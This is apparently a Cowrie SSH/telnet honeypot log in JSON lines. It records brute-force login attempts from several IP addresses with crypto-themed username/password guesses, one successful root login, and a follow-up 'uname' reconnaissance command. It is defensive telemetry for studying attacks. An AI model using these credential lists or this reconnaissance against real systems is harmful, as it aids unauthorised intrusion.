{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":55094,"dst_ip":"159.203.135.109","dst_port":22,"session":"018eddd2fa5b","protocol":"ssh","message":"New connection: 195.178.110.218:55094 (159.203.135.109:22) [session: 018eddd2fa5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:49.328389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:49.332750Z","src_ip":"195.178.110.218","session":"018eddd2fa5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:49.411737Z","src_ip":"195.178.110.218","session":"018eddd2fa5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:49.648953Z","src_ip":"195.178.110.218","session":"018eddd2fa5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:50.729856Z","src_ip":"195.178.110.218","session":"018eddd2fa5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":56900,"dst_ip":"159.203.135.109","dst_port":22,"session":"b44acd712ce6","protocol":"ssh","message":"New connection: 2.57.122.96:56900 (159.203.135.109:22) [session: b44acd712ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:50.952026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:50.962469Z","src_ip":"2.57.122.96","session":"b44acd712ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:51.067304Z","src_ip":"2.57.122.96","session":"b44acd712ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uniswap","password":"uniswap","message":"login attempt [uniswap/uniswap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:51.611264Z","src_ip":"2.57.122.96","session":"b44acd712ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:18:52.716773Z","src_ip":"2.57.122.96","session":"b44acd712ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":49678,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff04a55ead09","protocol":"ssh","message":"New connection: 119.209.12.20:49678 (10.17.0.5:22) [session: ff04a55ead09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:19:08.030548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:19:08.035354Z","src_ip":"119.209.12.20","session":"ff04a55ead09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:19:08.238812Z","src_ip":"119.209.12.20","session":"ff04a55ead09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamal","password":"Kamal","message":"login attempt [kamal/Kamal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:19:09.077320Z","src_ip":"119.209.12.20","session":"ff04a55ead09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:19:10.281398Z","src_ip":"119.209.12.20","session":"ff04a55ead09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":57422,"dst_ip":"10.17.0.5","dst_port":22,"session":"f72d57278556","protocol":"ssh","message":"New connection: 119.209.12.20:57422 (10.17.0.5:22) [session: f72d57278556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:12.333631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:12.339217Z","src_ip":"119.209.12.20","session":"f72d57278556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:12.537580Z","src_ip":"119.209.12.20","session":"f72d57278556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gc","password":"gcpass","message":"login attempt [gc/gcpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:13.363284Z","src_ip":"119.209.12.20","session":"f72d57278556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:14.564887Z","src_ip":"119.209.12.20","session":"f72d57278556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59628,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac8ef7745fc","protocol":"ssh","message":"New connection: 195.178.110.218:59628 (159.203.135.109:22) [session: 5ac8ef7745fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:36.418759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:36.423129Z","src_ip":"195.178.110.218","session":"5ac8ef7745fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:36.502769Z","src_ip":"195.178.110.218","session":"5ac8ef7745fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:36.744392Z","src_ip":"195.178.110.218","session":"5ac8ef7745fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:37.825058Z","src_ip":"195.178.110.218","session":"5ac8ef7745fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":55952,"dst_ip":"159.203.135.109","dst_port":22,"session":"718d02c8c0b3","protocol":"ssh","message":"New connection: 2.57.122.96:55952 (159.203.135.109:22) [session: 718d02c8c0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:53.550271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:53.554314Z","src_ip":"2.57.122.96","session":"718d02c8c0b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:53.653228Z","src_ip":"2.57.122.96","session":"718d02c8c0b3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"eigenlayer","message":"login attempt [root/eigenlayer] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:53.952651Z","src_ip":"2.57.122.96","session":"718d02c8c0b3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:54.189946Z","src_ip":"2.57.122.96","session":"718d02c8c0b3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:54.193197Z","src_ip":"2.57.122.96","session":"718d02c8c0b3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:54.306388Z","src_ip":"2.57.122.96","session":"718d02c8c0b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:21:54.310031Z","src_ip":"2.57.122.96","session":"718d02c8c0b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.209.12.20","src_port":36930,"dst_ip":"10.17.0.5","dst_port":22,"session":"c817eca73c8d","protocol":"ssh","message":"New connection: 119.209.12.20:36930 (10.17.0.5:22) [session: c817eca73c8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:06.878133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:06.881907Z","src_ip":"119.209.12.20","session":"c817eca73c8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:07.086824Z","src_ip":"119.209.12.20","session":"c817eca73c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"software","password":"software123","message":"login attempt [software/software123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:07.939661Z","src_ip":"119.209.12.20","session":"c817eca73c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:09.146614Z","src_ip":"119.209.12.20","session":"c817eca73c8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.16.53.51","src_port":23650,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c33b3b37cdc","protocol":"telnet","message":"New connection: 178.16.53.51:23650 (10.17.0.5:23) [session: 5c33b3b37cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:30.110959Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":37912,"dst_ip":"159.203.135.109","dst_port":22,"session":"82512c2f478a","protocol":"ssh","message":"New connection: 45.148.10.121:37912 (159.203.135.109:22) [session: 82512c2f478a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:48.168926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:48.173349Z","src_ip":"45.148.10.121","session":"82512c2f478a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:48.252547Z","src_ip":"45.148.10.121","session":"82512c2f478a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:48.336547Z","src_ip":"45.148.10.121","session":"82512c2f478a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.208856344223022,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:23:59.319681Z","src_ip":"178.16.53.51","session":"5c33b3b37cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":58996,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b581c0227d0","protocol":"ssh","message":"New connection: 45.148.10.121:58996 (10.17.0.5:22) [session: 0b581c0227d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T14:24:01.880705Z"}
